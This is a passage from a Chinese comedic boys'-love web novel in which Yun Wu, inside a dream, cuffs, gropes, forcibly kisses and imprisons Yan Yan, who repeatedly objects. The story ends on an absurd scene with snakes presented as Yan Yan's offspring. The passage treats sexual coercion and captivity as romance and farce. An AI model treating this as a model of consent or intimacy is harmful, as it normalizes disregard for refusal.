随着雨声越来越大,殿外不知为何莫名其妙的来了一队乐师,莫名其妙的就坐在了殿外暴雨倾盆的广场上,莫名其妙的就开始奏乐了。 丝竹声声,如泣如诉,伴随着豆大的雨点砸落,有一种莫名其妙的煽情感。 云梧决绝的声音也一并传入了宴焱的耳中: “既然我注定得不到你的心……” “那我,就一定要得到你的身!!” 宴焱:? 不是,这梦怎么还自带氛围感bgm啊?? 但还没等宴焱震惊完这梦居然还能这么玩,云梧的手又开始不老实了。 上摸摸,下摸摸,左摸摸,右摸摸。 他一边忙着黑化,一边忙着占便宜。 “呵,男人,你等着瞧,就算你这样勾引我,我也不会心软放过你的。” “呵,男人,怎么了?被我的冷酷伤到了吗?呵呵,来不及了。” “男人,就算你这样含情脉脉的看着我我也不会收手的,我的心已经被你伤透了,我现在是一个冷酷无情没有心的人了。” …… 云梧一口气流畅的背完他的黑化语录后,便信心满满的抬头,望向宴焱,一脸冷酷道: “男人,你怕了吗?” “怕了就现在求饶,然后乖乖取悦我,一切就还来得……” ‘及’字还未吐出口,下一秒,迎接云梧的不是想象中宴焱柔情似水的求饶,更不是美人讨好的一吻。 而是结结实实的一巴掌。 ——‘啪’的一声脆响。 “说完了吗?” 宴焱皮笑肉不笑,只是素白的指尖隐隐在抖,赫然是被云梧气的。 又是摸他腰占便宜又是拿畜生玩意儿抵着他的! 就算是好兄弟也、也不能这样!! 宴焱的那一掌没收力道,结结实实的落在了云梧的侧脸上,修士的一掌可不是吃素的,云梧的半边俊脸很快的浮起五指状的红印,头也轻侧了一寸。 云梧一愣,显然是没有料到宴焱突如其来的反击。 他怔怔的摸着自己的侧脸,像是想到了什么,鼻尖忽地涌下两股红艳,耳廓烧得通红,却还在嘴硬维持黑化人设: “焱焱,你居然为了那条死蛇打我!!!” 宴焱冷笑:“打的就是你!” 宴焱冷酷无情的话语显然刺激到了云梧的心灵,他伸手,不知从哪里掏出来了一对细长的银铐,‘吧嗒’一声,就这么紧紧扣在了宴焱的细腕上。 “焱焱。” 云梧的鼻血还在流,但面上一脸刚毅: “今晚你无论怎么叫我都不会放过你的。” 宴焱忍无可忍: “滚!!” “我不滚!!” 云梧嘴和小兄弟一样硬。 如他所愿,又是清脆的一巴掌。 ‘啪’的一声脆响。 这下好了,一左一右,分裂对称,颇为雅观。 云梧的鼻血滋得更猛了。 他爸的。 焱焱好辣。 可他现在是钮钴禄云梧,是冷酷无情的黑化云梧,当然不可能说出‘焱焱再来’这样廉价的话,他只得强撑着,继续道: “呵,看来,只能给你点真颜色瞧瞧了。” 云梧一面说着,一面不动声色的将手探进层叠布料里,一顿乱揉。 软的,嫩的,翘的。 云梧越胡乱动,鼻血滋得就越猛。 宴焱眼睁睁看着云梧一边放着要刀人一样的狠话,一边开始言行不符的疯狂占便宜,近乎就要被云梧给气笑了。 手被制衡着,但腿还能动,宴焱不再犹豫,对着云梧的大腿就是一踢—— 硬的,踹不动。 反而是梦里这鸡肋的身体被反坐力撞得发疼。 宴焱面色龟裂两秒。 云梧的手还在胡作非为,甚至要无法无天,勾住衣带,摩挲着,似乎真要开始触碰高压线了。 草木香无孔不入,眼见着就要倾覆而上,将宴焱的鼻喉都灌满—— 宴焱这下是真的有点慌了,连忙开口,将计就计: “等等——” 云梧的手一顿,抬起头,狐疑的望向宴焱: “怎么,又想打我??” “没有呢,怎么会呢。” 宴焱凤眸弯弯,实则想阉了云梧的心思都有了。 死、断、袖! 想被打就直说!! 但他面上不显,反而一脸真挚。 “云兄啊,我只是觉得,我们两个这么久没见了,就这么发生什么,未免太不重视了吧……” 不得不说,宴焱这招精准直击云梧痛点。 宴焱的话音刚落,云梧手上动作便一顿,若有所思的抬起头。 的确,他和焱焱的第一次就是那么潦草的展开,这也是云梧的心结之一,如果这一次还是就这么草率的在这硬邦邦的龙椅之上,甚至连红绸都没有,怎么展示他云梧身为正宫的身份呢? “焱焱,你说的对。” 云梧认同的点头,像是下定了决心,道: “你等着,明日我们就大婚!” 若是平日里的宴焱听到兄弟这么说肯定会炸毛。但而今形势所逼,就差一点兄弟就要和自己水乳交融了,宴焱也顾不得这么多了,忙是连连点头,安抚道: “好好好,明天我们就大婚,明天就大婚,你先,你先离远点。” 宴焱的手还在安抚性的拍着云梧的肩头呢,甚至主动提了提腰,就要离云梧更远一些。 但下一秒,云梧又不乐意了。 “不行。” “焱焱你是不是哄我玩?等出了殿门就要把我抓住,然后继续和那条死蛇结婚?” 宴焱眼睁睁的看着自己又被摁回了原位,顿时急了: “云兄,我怎么会是那种人呢?我明明很守信用的,再说了,什么死蛇?不认识,不知道,云兄你可不要多想,我真没有这个意思……” 可此话一出,云梧忽地又开始凉薄的发笑。 宴焱投以惊恐的目光。 “焱焱,果然没有人能够真正的走进你的心。你和那死蛇如胶似漆了这么久,现在也是说放弃就放弃了,果然,呵,男人啊。” 宴焱:? 你不是男人? 但宴焱被云梧攥着腰。正所谓人在屋檐下走不得不低头,宴焱为了自己的屁股安危,只好咬着牙,继续施加筹码: “云兄,那你说,你要怎么才能相信我?” 云梧斟酌了一会儿,视线划过宴焱起伏的曲线,最后落在可怜的臀尖上,勉为其难的开口道: “那你亲我一口。” 宴焱听得直冒火。 亲亲亲亲亲亲,我亲你大爷!! 偏偏云梧一刻不停,持续添油加醋:“你亲我一口我就相信你还爱着我。” 沉默。 宴焱狠狠磨了磨牙,仿佛嘴边就是云梧的命脉。 由于宴焱想刀人的目光存在感实在太强,云梧只好悄咪咪的小声又补了句,似乎还有点儿委屈: “那就一小口……” 还是沉默。 “一小口也不行吗?” “”焱焱真小气。” 这么说着,云梧忽地眼眶又一红,暗中手直掐自己的大腿肉。 “你和那条死蛇都不知道亲了多少回了,和我亲一回都不行吗?” 宴焱:……究竟是谁和蛇亲过了?? 他什么时候和蛇亲过了?? 但眼见着今晚不亲云梧,他是不会善罢甘休了,宴焱深深吸了口气,也被云梧磨得没法子了。 再爆的脾气碰上云梧这样的软磨硬泡也得被磨成孙子! 宴焱咬牙切齿的暗骂。 下一秒,他轻轻一抬下巴,凤眸睨了眼云梧,道: “你凑过来。” 云梧别过头,哼哼道; “怎么?别想趁机又打我。” “你再怎么花言巧语也没有用,我是不会凑过来的!别想再骗我!” 宴焱眉头重重的一跳,从牙关里逼出字句: “你不是要我亲你吗?” flag是上一秒立的,云梧的脸是下一秒凑过来的。 半张俊脸逼近,甚至上边还可怜兮兮的印着个巴掌印。 宴焱抿了抿唇,又抿了抿唇,随即深深闭了闭眼。 没事的,没事的,今天他亲了云梧,难道就能说明他是断袖吗?不能,他这只是识时务者为俊杰,只是为了逃脱南通的魔掌做出的权宜之计,不能代表自己也弯了! 再睁眼时,宴焱一咬牙,下定了决心般,视死如归的往前一凑—— ‘啪叽’一下。 云梧瞳孔一缩。 他是侧着脸凑近的,本以为焱焱只会蜻蜓点水的在他的脸上落吻,但…… 云梧不可置信的向下一瞥。 就见宴焱睁着一双涟涟的凤眸,脸上是舍身取义的壮烈,那红润的唇肉却紧紧的、严丝合缝的贴合着自己的唇。 ——软的,极软。 他们二人贴得是那般的近,胸膛近乎就要紧紧挨在一块儿,隔着一层薄薄的布料,他的心在左侧,他的心在右侧,是那般的整齐,噗通噗通的发出整齐的震颤,让人疑心这两颗心早缠在了一起,经年累月的便长在了一块儿,否则也不会发出如此一致的颤动。 宴焱的身体僵直着,他伸着脖颈,凤眸睁大。 不知怎么着,他好像就动不了了,仿佛被牢牢的吸附在了云梧身上,怎么掰扯也掰扯不开。 一定是云梧暗中用了什么法子!! 宴焱呼吸直抖,耳廓也烧得通一塌糊涂,心里头嘟囔着直骂云梧。 唇这么热,烫着他了;肌肉这么硬,硌着他了;体格这么壮,把他罩着呼吸都呼吸不过来了! 云梧只觉得这一吻是出乎他意料之外的漫长。 不知过了多久,他怀里的焱焱便尝试着要往外挣,可下一瞬,云梧便忽地抬手,扣紧了宴焱的腰肢,把人往回搂。 这一次便不再是浅尝辄止。 两个人都没什么技巧,于是云梧只得磕磕绊绊的往里探索,遵循着本能,寻着甜味儿,一路予取予求,搜刮着腔壁,连一点儿汁水都不放过。 宴焱也没经验,他脑子里蒙蒙的,思维动都动不了,只能僵硬的张着唇,身体僵直,任由云梧一路扣上自己的腰,肩,直至把整个人都揽进怀里。 舌头要麻了。 头要晕死了。 到底会不会亲啊? 宴焱被吻得哆哆嗦嗦的,可怜的脑子里只能徒劳重复着这些控诉。 等他出去定要云梧好看! 让他技术这么差还乱亲人! 云梧胡乱的索取着,眼见着就要没边没际的,无止无休的,宴焱在梦里不过是一个肉体凡胎,怎么能长时间受的了这种搓磨呢? 他只得颤巍巍的举起手,银链发出窸窣轻响,手抵在云梧硬挺的胸肌上,不轻不重的往外推了推。 “唔唔!” 够了! “唔唔唔唔唔!” 你还要亲多久! 或许是看宴焱着实可怜,云梧这一次大发善心,抬起头,轻轻的和宴焱剥开了一小丁点的距离。 但那双乌色瞳仁还是一眨不眨的,盯紧了宴焱,食髓知味,一脸餍足的将脑袋栖在宴焱肩头,蹭了蹭。 “焱焱焱焱焱焱。” 明明只是分开一小段距离,云梧却无端端觉得他们离得是这般远,太远了,都害他患上分离焦虑症了,于是他只能念咒一般不断重复着宴焱的名讳,企图缓解一下他刚刚害上的绝症。 宴焱没好气的瞪了他一眼。 “叫我干嘛?” 把他舌头都嗦得肿肿的,跟没吃过肉的狗一样,害得他现在说话张嘴都打颤,还好意思叫他? 哼,死断袖。 云梧好似没看见宴焱递来的眼刀,得寸进尺,一面手下力道收紧,一面替宴焱勾起鬓角濡湿的乌发: “焱焱,你收着点力气,快些上塌去睡吧。” 正在宴焱松了口气,以为终于要度过今天这道坎时。云梧又忽地一脸正经的开口,语气关切,仿若真是在为宴焱考量一般: “毕竟还要留着力气明天叫呢。” 宴焱:…… 有完没完啊死断袖。 不是说好亲一口就没了吗? 他一出去就要把所有断袖都斩了!!! 云梧自顾自的说着话呢,他皮厚,愣是装作没看到宴焱气得通红的美人面。 这会儿他的行动力倒是强,一手抄起宴焱的肩,一手垫在臀下,就这么熟门熟路的把人抱了起来,一路大步走到了后殿的龙床旁,将人轻轻放下。 云梧一勾手,重叠的纱幔便倾泻着铺散开,掩住龙床内的春色。 狼子野心的镇北侯就这么光明正大的上了龙床,把新帝都逼到了床角,不知道要做什么畜生事呢。 宴焱屁股一紧,往里头一缩,直叫道: “你你你你,你倒是让我睡啊!” “贴这么近干嘛?” 云梧脸不红心不跳,自然道: “帮焱焱暖床啊。” 宴焱急了,兄弟哪儿有这么暖床的?别暖着暖着就成插座了。 “你,你可是答应我的,等我们两个成婚了再……” 云梧一听,活脱脱像是被误解了,委屈道: “焱焱你怎么能这么想我,我就只是想帮你暖暖床而已。” “我是那么禽兽不如的人吗?” 宴焱睁着凤眸,盯着云梧。 沉默震耳欲聋。 云梧轻轻咳了咳,打破了沉默,又一低头,好像什么也没发生过一样,一脸自然的就要把自己塞进龙床里。 “停停停停!” 宴焱连忙去推云梧。 “云兄,云兄,你不说要篡位吗?你快去篡位啊,你今晚呆在这里明天还怎么登基?怎么君临天下?你难道不想要当皇帝吗?不想要当天下最尊贵的人吗?” 宴焱一面苦口婆心的劝,一面把云梧往外推。 云梧纹丝不动。 面对宴焱的质疑,他只是高傲的一抬头,理直气壮道: “篡位?什么篡位?” “皇位是什么东西?哪有给你暖床重要?” 第67章 变态 宴焱深深吸了口气。 他强行压下把云梧踢下床的想法, 又一闭眼,呼吸直抖。 一点上进心都!没!有!! 他之前怎么会眼瞎到把这人当作劲敌来看呢?! 面对宴焱恨铁不成钢的眼神,云梧却一脸坦然, 甚至还骄傲的又补充道: “我可不像别的什么人, 对我来说焱焱最重要!” 说罢, 云梧便要领赏一般, 眼巴巴的就要凑来。 说是凑来,实则就是强行把自己和焱焱塞进一张被子里。大手一勾,拉住宴焱的腰, 往怀里塞。 云梧的怀抱很热, 贴着一晚上睡定要起汗。 但宴焱已经顾不得什么起不起汗的了。云梧侧着身,面朝着他,他则是因为方才的姿势缘故,也是侧着身被云梧揽入怀中,背对着云梧,于是那可怜的臀尖就这么毫无防备的落入云梧的视线范围内。 宴焱只觉得臀尖一凉。 下一秒, 他也不顾手上还扣着银链了, 连忙往后一遮, 随着银链叮当作响,那漂亮起伏的臀尖就盖上了两只素净的手, 欲拒还休的紧紧捂着臀,别过脸, 一脸警惕的望向云梧。 “你要做什么?!” “我可警告你, 小心我出去之后把你——” 宴焱话音未落, 却见云梧又一脸委屈上了。 他只手撑着面颊,发冠整齐,一派衣冠楚楚的模样, 反观是宴焱,三千乌发尽散,面庞腻着一层水汗,是吓的,衣襟也松散不堪,难掩春色,更别提他手上拴着的、极富有暗示性的银链了…… 宴焱气不打一出来,偏偏罪魁祸首还面露委屈,道: “焱焱,你怎么能把我想成是那种人呢?” “我怎么会趁人之危呢?” 宴焱:…… 那抵着他的又是什么??刺杀他的暗器吗?? 云梧一面说着,一面又要演出掩面而泣的模样,仿若真被宴焱说的话伤到了。可演也不演个全套,还要透过手肘缝隙去偷偷瞄几眼宴焱的神色。 宴焱冷笑一声。 骗骗兄弟就算了,可别把自己给骗了! 他气得又想蹬一脚云梧,力道重,巴不得把人就这么踹下床去。 但云梧早就预料到了宴焱的动作,快准的一伸手,把住宴焱作乱的脚踝,一推,一叠,便抗在了肩头,整个人顺势翻身而上。 宴焱只觉得眼前一黑,那侧来的光线就被云梧的身躯遮得严严实实。 他细白的腿被人桎梏住,往下压,大掌一路从脚踝落至腿根,往里一掐,雪白的软肉便陷在指缝里。 这下好了,宴焱这下不仅仅是手动不了了,连腿也不能动作了。 “云兄!!” 宴焱惊恐抬头,拼命的扭动身子,就要往前挪。 “焱焱,你怎么这么不乖。” 云梧轻叹口气,半嗔半怒的,手下不停,又就着那丰腴的起伏,不轻不重的便是一掌。 得给这个负心汉一点教训才行。 别以为今晚一个吻就可以让自己原谅他犯下所有的错了。 云梧直哼哼。 起码要两个才够。 “焱焱,我都说了,我今晚不会对你怎么样,你要相信我。” 云梧占据了上风,但面上还是一脸的示弱和委屈,手上的动作强硬,叫宴焱拼劲全力无法挣脱半分。 “好了,好了。云兄,我知道错了,我不该这么想你。” 宴焱咬牙,只觉得屁股的境地时前所未有的危险。 大丈夫能伸能屈,今天先让他一步! 这么想着,宴焱又开始将计就计的哄着云梧了: “云兄,我刚刚真的是逗着你玩的,你、你是我见过最正派的人了,有话好好说,好好说,不要动不动的就拿你那个对着别人好不好……” 宴焱越说,云梧的存在感就越强,贴得越近,甚至都把宴焱顶得往上撞了一寸。 宴焱喉头可怜的滚了滚。 面对被人追杀的处境时他没怕过,面对高级妖兽的时候他也没怕过,但面对兄弟的刀…… 宴焱是真的害怕了。 他声音都打了颤,拼命往里挪: “云兄,算我求求你了……” 这是宴焱平生第一次低下头来求人。 骨肉匀称的身体轻轻抖动着,不知是怕的还是羞的,红潮一路从雪白的胸膛蔓至脖颈,耳垂,最后将那双凤眸也染得水光涟涟。 云梧的呼吸声一重。 他深吸了几口气,这才勉强收拢脑中一瞬间涌上的各种画面,手下一提,又轻轻一拍臀,哑声道: “不想被。就别发马蚤。” 宴焱扭动的腰一僵,凤眸无助的睁大,不敢相信他听到了什么。 这些词是怎么可以和他堂堂点家男主联系在一起的??!! 云!梧! 他一定要杀了他!! 宴焱咬牙切齿。 但他的唇是抖的,身体是被云梧桎梏着的,动是一点儿也动不了的,更遑论防抗呢? 凤眸里盛了水,盈盈的晃着,映着云梧深邃的眉和眼,眉尖攒紧,像是受了很大委屈。唇肉张开,舌根发了颤,干涸的往外吐字: “不要。” 尾音在发抖。 云梧手上的动作忽地一滞。 末了,他轻轻叹了口气,松开了手,转而伸手揽肩,把人转了个身,拢在怀里。 罢了。 焱焱总是这样,一开口就能叫他缴械投降。 就算是睡了他不负责、在外面私养死蛇这样过分的事情,只要宴焱的凤眸朝他那么一瞥,嘴上那么一服软,自己便被迷得什么也不知道了。 云梧娴熟的一扯被,把他和宴焱牢牢裹在同一张被子里,又伸手,安抚性的揉了揉宴焱的乌发。 “快睡吧焱焱。” 他低头,收紧手臂,在宴焱的额头落下一吻。 “明天还要大婚呢。” “焱焱早些睡吧。” 宴焱心里头还不服呢,他不满的扭了扭腰,但形势所逼,也只能见好就收。 起码兄弟没有一时上头,就这么和自己合二为一了。 宴焱心底安慰了一番自己。 等自己逃出去了再找云梧算账也不迟! 今天就让他最后睡一晚好觉! 宴焱暗地里骂骂咧咧的,但身体却乖巧的很,任由云梧收紧臂弯,拢在怀里。 但他宴焱可不是怕云梧,这只是明哲保身,万一又惹到云梧的哪根筋,堂堂点家男主今晚就要贞操无存了! 宴焱一面磨着牙暗骂不止,一面轻哼一声,就这么闭了眼。 不知为何,云梧的怀格外的催人睡,燥热的,滚烫的,连结实像铁钳一样的掌落在腰侧,也没有想象中的难受。 宴焱闷闷的想。 清浅的气流交杂在两人中间狭小的空隙里,浮动,喷洒,交汇。 于是那一寸狭缝便愈发灼热,生了火,烫的,几乎要让宴焱呼吸不过来了。 宴焱又猛地睁开眼。 云梧阖着眸,美人在怀,他睡得倒是安稳,可苦了宴焱。 银链还在手上,即使是轻如羽,但终归不方便,宴焱尝试的推了推云梧的胸膛,没推动,反而一通扭之下,让云梧搭在他腰际的手一缩紧。 宴焱就这么被他拉进怀中。 这下可是坏了,连一点细小的缝隙都没给宴焱留下。 他的脸贴着云梧硬挺的胸膛,没了呼吸的空隙,宴焱只好侧过头,让鼻尖触碰外头的空气,叫他不至于被生生闷死。于是颊上的软肉便可怜的溢出,贴着云梧的胸肌,挪也挪不动。 偏偏罪魁祸首睡的是那般沉,宴焱怎么挪怎么扭,他都稳如泰山。 宴焱气得又瞪了眼云梧。 不知是不是他的错觉,淡淡的绒光铺下云梧深邃的眉眼,就见云梧的唇角隐约提起半寸,似乎在笑。 宴焱:…… 还在装!! 宴焱磨了磨后牙槽,盯紧了云梧的肩,只想狠狠的咬下去! 都是因为他!! 宴焱暗自又给云梧记了一笔。 但如今的他,一个铁骨铮铮的直男,却为了屁股的安危,已经沦落到被断袖占便宜却只能忍气吞声了么…… 三十年河东三十年河西!等出去了他定要叫云梧大碎八…… 宴焱还未在脑中把自己的台词念完呢,额头又是一湿。 原来是装睡的云梧睁了眼,笑意盈盈的落下一吻。 “好了焱焱,别闹了,是我错了,快些睡吧。” 他一面说着,一面又垂下头,啄吻着怀中人的耳。 宴焱木着脸,只觉得耳廓又是一湿。 宴焱轻轻哼了一声。 看在今天晚上云梧识时务的和他认错的份上。 就大卸七块吧。 * 事实证明,云梧昨晚的大发慈悲都是错觉。 宴焱仰躺在柔软宽大的龙床上,睁着眼,麻木的望向床顶明黄的帐。 今早上一起来,云梧的百万雄师如期而至,把京城围了个水泄不通,朝臣们在前朝哭天抢地,而可怜的新帝则是被无情的软禁在了后宫之中。 不仅仅是手,连自己的脚踝上也一左一右的戴了两只小巧精致的银镯链,随着宴焱的走动,还会发出铃铃的脆响。 有够变态的。 宴焱盯着脚上的东西,冷笑。 那脚镯倒是精致,刻有漂亮繁杂的纹饰,定睛一看,居然和云梧送他的灵符之上的差不多,甚至也系上了红绸,打了个漂亮的蝴蝶结。 原来这混蛋早就有这心思了。 宴焱咬牙切齿。 第68章 欲壑难填 银链轻晃, 强硬的扣在宴焱的腕上。 宴焱试探性的踩下榻,可银链栓得很紧。落锁处严严实实的扣着脚踝,只是轻轻往前一踩, 那细长的链身发出脆响, 后坐力就把人往里拽。 宴焱尝试了许多次, 但这银链最多仅能供他移动到床边半丈的距离。 眼见出逃无果, 宴焱也只好认命的又爬上床,盘着两条细腿,开始琢磨破开梦魇的办法。 梦魇是个偏门的妖兽。宴焱之前只是听过关于它的一点儿消息, 别的了解不多。 它依附修士的欲望而编织成梦境, 让修士深陷其中无法自拔。唯有让修士认清这是处在梦中,或是让修士的欲望得到满足,才能让梦境破碎。 宴焱有一搭没一搭的盘摸着下巴,若有所思。 瞧云梧一副乐在其中的模样,恐怕让他自己认识到这只是一场梦是不可能的了。既然如此,便只剩下第二种解法, 让修士深藏的欲望得到满足。 可既然是要满足欲望, 那也得知道云梧的欲望是什么。 宴焱的眉头锁紧。 云梧能有什么欲望? 他要天赋有天赋, 要身世有身世,除了命盘中多出了自己这么个隐患之外, 他的命数能算得上是圆满。 扪心自问,宴焱若是云梧, 那么他唯一的愿望就会是把自己这个宿敌压在底下, 叫自己永远无法翻身, 无法撼动他的地位。 宴焱也的确这么试探了。 他明明亲手说要拱手将帝位要让给云梧,但得到的却是云梧不咸不淡的反应。 甚至还没有他主动亲云梧一口来得反应大。 宴焱琢磨了半天,愁思不断, 但任凭他想破了脑袋,也猜不透云梧究竟是怎么想的。 算了。 宴焱摆烂的一躺。 还是想想怎么保全自己今晚的屁股吧。 外头宫人的哭喊声连绵不绝,里头却静悄悄一片。 云梧是个心狠的,命令手下军队把陛下寝宫封锁,一个太监宫女都不让进殿侍奉,牢牢把伺候新帝更衣洗漱的大权握在了自己的手里。 这会儿他不在殿中,正在前朝大开杀戒,肃清一些他早便看不惯的朝臣。 宴焱耳朵尖,隔着厚重的门板,偷听着太监宫女嘻嘻索索的说话声。 “听说宫门之外的红墙都重新染红了一遍,颇为可怖呢!” “是啊,而且那镇北侯残暴荒诞,说是专门找了奏折,一个个找那些曾经给陛下献上各地珍奇蛇类的大臣杀呢……” “嘘——妄议朝政,你们不要命了??” 有人打断。 外头的交谈声这才渐渐弱了下去。 宴焱仔细的听着,心下只觉得奇怪。 为何云梧总是对蛇类格外的在意呢?难不成他的心结就是蛇类吗? 但还没等宴焱整合记忆,企图分析缘由来破解梦魇的核心,殿外却忽地传来一阵脚步声。 大殿空荡荡,有没有宫人敢闯,于是只剩下了一种可能。 云梧回来了。 宴焱连忙把自己塞进被子里,背后提防的贴紧了靠墙床面,凝神听着响动。 哒哒哒。 是血滴落的声音。 云梧一步步踏着长而高的阶梯,款款而上,他的手里还提着箐云剑,不臣者的血蜿蜒而过冷色的剑身,一滴滴的从剑尖处滑落,坠在玉色的阶梯上。 “焱焱,我回来了。” 宴焱不理他,把头埋进被子里,只露出一双凤眸,透过缝隙往外望。 谁要理这个死断袖? 见宴焱不说话,云梧自顾自的就坐在了床边,伸出手,慢慢的抚过隆起的被子,提唇道: “我知道焱焱一朝从九五至尊沦落为脔|宠落差太大,这几日也苦了你的腰了。” 宴焱狐疑的一抬头。 什么脔|宠?什么苦了他的腰? 这死断袖的梦怎么又变了? 云梧话语一刻不停的继续道:“但是焱焱,看在你这几天床上表现不错的份上,待我改朝换代,我就勉为其难的封你做皇后吧。” 说着,他忽地强硬的一掀被子,露出里头的人影。 宴焱被剥去了保护壳,他的乌发松散,还因骤然掀起的锦被而翘起几缕,就这么径直和云梧对上了视线。 云梧的唇角是宴焱看不懂的暧昧和怜惜,他大手一伸,忽地点在松散的领口,缓缓往下滑落—— 布料很乖巧的顺着梦境主人的意思而分开,露出大片白皙的皮肉。 “焱焱,你辛苦了。” “那里还疼吗?我昨日应当给你上了药了。” 宴焱:?? 云梧这混蛋脑补了什么?? 随着云梧的话语落下,还没等宴焱反应过来,他便眼睁睁的瞧着自己原本白皙平滑的肌肤无端涌现出一些奇怪的青紫痕迹,好似被人狠狠打过一般,惨不忍睹。 上半身松垮的衣物之下,痕迹已然是一塌糊涂,更叫宴焱感到绝望的是,自己精心护住的臀肉竟然也轻轻颤抖,好似遭受了什么不得了的蹂躏了般。 云!梧! 宴焱慌忙捂住臀,气得直抖。 他究竟想象了什么?? “我裤子呢??” 宴焱咬着牙,凤眸一瞪,质问道。 打他就算了,为什么裤子都不给他留一条??!有这么对哥们的吗?? 云梧面露诧异:“你又用不着。” 说着,他娴熟的抄起宴焱的肩头,把人提起。同时他坐上了龙床,顺势将宴焱搁置到了他的大腿上。 很快,重力作用之下,软乎的臀肉就谄媚的贴紧了大腿,云梧一放腿,宴焱就跟着一抖,凤眸怒意升腾。 他再也忍不住了,开始放狠话: “云梧,我警告你,你别敬酒不吃吃罚酒,别太过——” ‘分’字还没说出口,粗粝的指腹却忽地按上了那喋喋不休的唇,饱满的唇珠被这么一摁之下,往里头塌陷,那粗大的手指顺理成章的深入口|腔,探了探,又猛地抽了回来。 宴焱被云梧这一手弄得猝不及防,只得睁着一双水涟涟的凤眸,无助的被撑大舌|腔。 偏偏云梧还一脸自然的拍了拍宴焱的腰际,低声道: “乖,别再叫我云梧了。” “教了你那么多次了,为什么总是教不会呢?乖乖的叫夫君不好么?省得你再受累。” 宴焱只觉得气血直冲脑门,耳边嗡嗡作响。 什么君子报仇十年不晚,什么卧薪尝胆,他统统不认识了! 他只是狠狠的、果决的对准了云梧的肩头,不管不顾的扑咬了上去—— 宴焱的虎牙很尖,深深的咬下之后,肩头的布料就洇开一片湿濡。 但云梧的肌肉也不知是什么做的,硬硬的,咬不动,徒留松嘴之后留下的一小串牙印。 云梧表现得像是被宴焱咬过无数次那般熟稔,甚至还有闲心的勾起他脖颈旁散乱的发,梳理整齐了,便拢在耳后,道: “焱焱何必这么生气,你放心,我可不像你这般花心,三宫六院的堆满了妖妃,我此生只会要你一个。” 宴焱气急,松了嘴,抬起头来,狠狠盯着云梧: “什么妖妃什么三宫六院,你胡说,我从没有干过。” “别想往我头上扣脏水再捞好处!” 云梧面色不改,大掌不疾不徐的抚摸着宴焱起伏的腰线,道: “焱焱也不想你的皇子们受苦吧?” 说着,他轻侧一寸,贴近了宴焱的耳廓,道: “那今晚就好好的求求我。” 宴焱气笑了:“想都别想。” 他哪里来的皇子? 云梧叹了口气,无奈道:“焱焱,看来你还是认为我在开玩笑。” 他手一揽,收紧,同时左手垫起臀肉,往上一提,一放,就这么把人拦腰扛在了肩头。 宴焱瞳孔缩紧,只觉得身下忽地一空,再反应过来之时,自己就被人扛抱了起来。 他哪里能受的了这种屈辱,男子汉大丈夫的,被这样抱着成何体统。于是他手臂抻直,拼命的去推云梧的背,声音直抖: “你快些放我下来,我自己会走!我自己会走!” 宴焱挣扎的踢着腿,但这梦境实在是邪乎,不论他怎么踢踹云梧都稳如泰山,甚至还有闲心拍了拍宴焱的臀,威胁道: “焱焱,你这样乱动,小心我在外面也照样惩罚你。” 云梧此话一出,宴焱彻底老实了下来,腿也不踢了,只是暗中咬牙切齿。 原因无他,这混蛋什么事情做不出?恐怕这句威胁也是不是威胁,而是某人早便想好的。 所幸龙袍的下尾足够长,宴焱被这么扛着也没能走光,只是阵风吹得他臀尖凉飕飕的,叫宴焱只得不停的去扯盖后边的布料。 云梧在大步的走,宴焱在紧闭着眼。 他一面强行屏蔽一路上宫人们暗中惊诧的目光,一面在脑子里盘算着出去之后要怎么把云梧大碎七块,一咬牙,时间也就过了大半。 颠簸停住,腰间的禁锢也一松,好似到了目的地。 宴焱被云梧小心翼翼的放下,脚刚刚一沾地,宴焱立刻就往旁一站,挪开一道很宽的距离。 环顾四周,这里是一处中心的宫殿后院,假山绿水,牡丹花开得正艳,太阳高照,直晃眼,一片繁荣的景象。 后院被一圈被坚执锐的士兵,森冷的铁胄映着寒芒,把此处包裹得水泄不通,赫然是云梧麾下的镇北军。 如此戒备森严,若不是宴焱左看看右看看都没瞧见一点儿人影,恐怕就要真的信了云梧的鬼话了。 “说好的皇子呢?” 宴焱利落的一挑眉,没好气的睨了云梧一眼。 这下云梧没得说了吧?整个偌大的后院,别说是小孩的影子了,除却镇北军,就是成人的影子都不见得半个。 别说镇北军们都是他的皇子吧? 宴焱狐疑的一瞥云梧。 而今他的下限被云梧扯的一降再降,云梧再说什么他都不会诧异了。 面对宴焱的质疑,云梧没有着急反驳,而是提了提唇,道: “焱焱,你连从自己肚子里出来的亲生骨肉都不认得了吗?” 宴焱:??! 你听听这说的是人话吗? “什么叫做从我肚子里出来的?” “男的怎么能生孩子啊!?” 宴焱惊悚不已。只觉得自己直男二十多年的人生遭受到了前所未有的冲击。 似乎是嫌弃宴焱收到的打击还不够大一般,却见云梧遥遥一指,点了点地面,冷笑道: “焱焱,你看,你的孩子,不是在那吗?” 宴焱顺着云梧手指的方向望去,登时倒吸口凉气。 他本以为自己做好了准备,但没想到准备做的还是太少了。 只见后院一排浓密茂盛的牡丹丛后,正有着一块空地。 空地之上排排缠绕着的,不是别的,正是红橙黄绿青蓝紫各色拇指粗细的小蛇!! 火热的太阳烤着它们,直射着它们娇嫩的肌肤,可云梧铁石心肠,将这一处空地框死,有哪一只蛇胆敢爬出去的,都会被无情的再扔回最为灼热的地方。 于是可怜的小蛇们只能不断扭动着身躯,嘶嘶的惨叫着,好不可怜。 但身为‘生母’的宴焱却生不起半点同情的心思,唇角抽了抽,望了一堆小蛇一眼,又不住的抽了抽嘴角。 哪个正常人类会生出一堆蛇来啊??!! 还不如说他一个人生了百万的镇北军呢!! 云梧无视宴焱又气又好笑的视线,一揽宴焱的腰肢,甚至还有闲情雅致的去点数那些小蛇。 “焱焱,你不记得,我都帮你记得呢。” 这么说着,云梧的随手一指其中一条粉色的小蛇:“这条是你和任贵妃生的,你还记得吗?他通体是粉色的,很不要脸,但是你总是宠着他,给他建很大很大的蛇窝。我都没有呢。” 接着是一条黄色的小蛇:“这个是你的长子,你生的第一条蛇,你很宠爱他,给他找来了全天下最肥嫩的鼠吃。” 宴焱咬着牙,耐着性子听着,只是眉心一跳又一跳。 却不想云梧忽地顿住,紧接着一伸手,停在宴焱腰腹之上约莫两寸的位置,垂眼,轻声道: “北境很冷。那些年,我一直在想象,想象焱焱你要是怀了,肚子应该会有这么大,圆滚滚的,很可爱,听闻你还会被这些可恶的蛇蛋顶得天天吐。” 宴焱这下是真忍不了了。 圆滚滚圆滚滚圆滚滚,他看云梧的脑子才是圆滚滚的! 他一个大男人怎么可能会怀孕?! 刺激太多,宴焱此时已经感受不到生气了,他只是发笑,是怒极反笑,遂即腿一伸,果断的踩上了云梧的脚,又狠狠碾了碾。 “闭、嘴。” 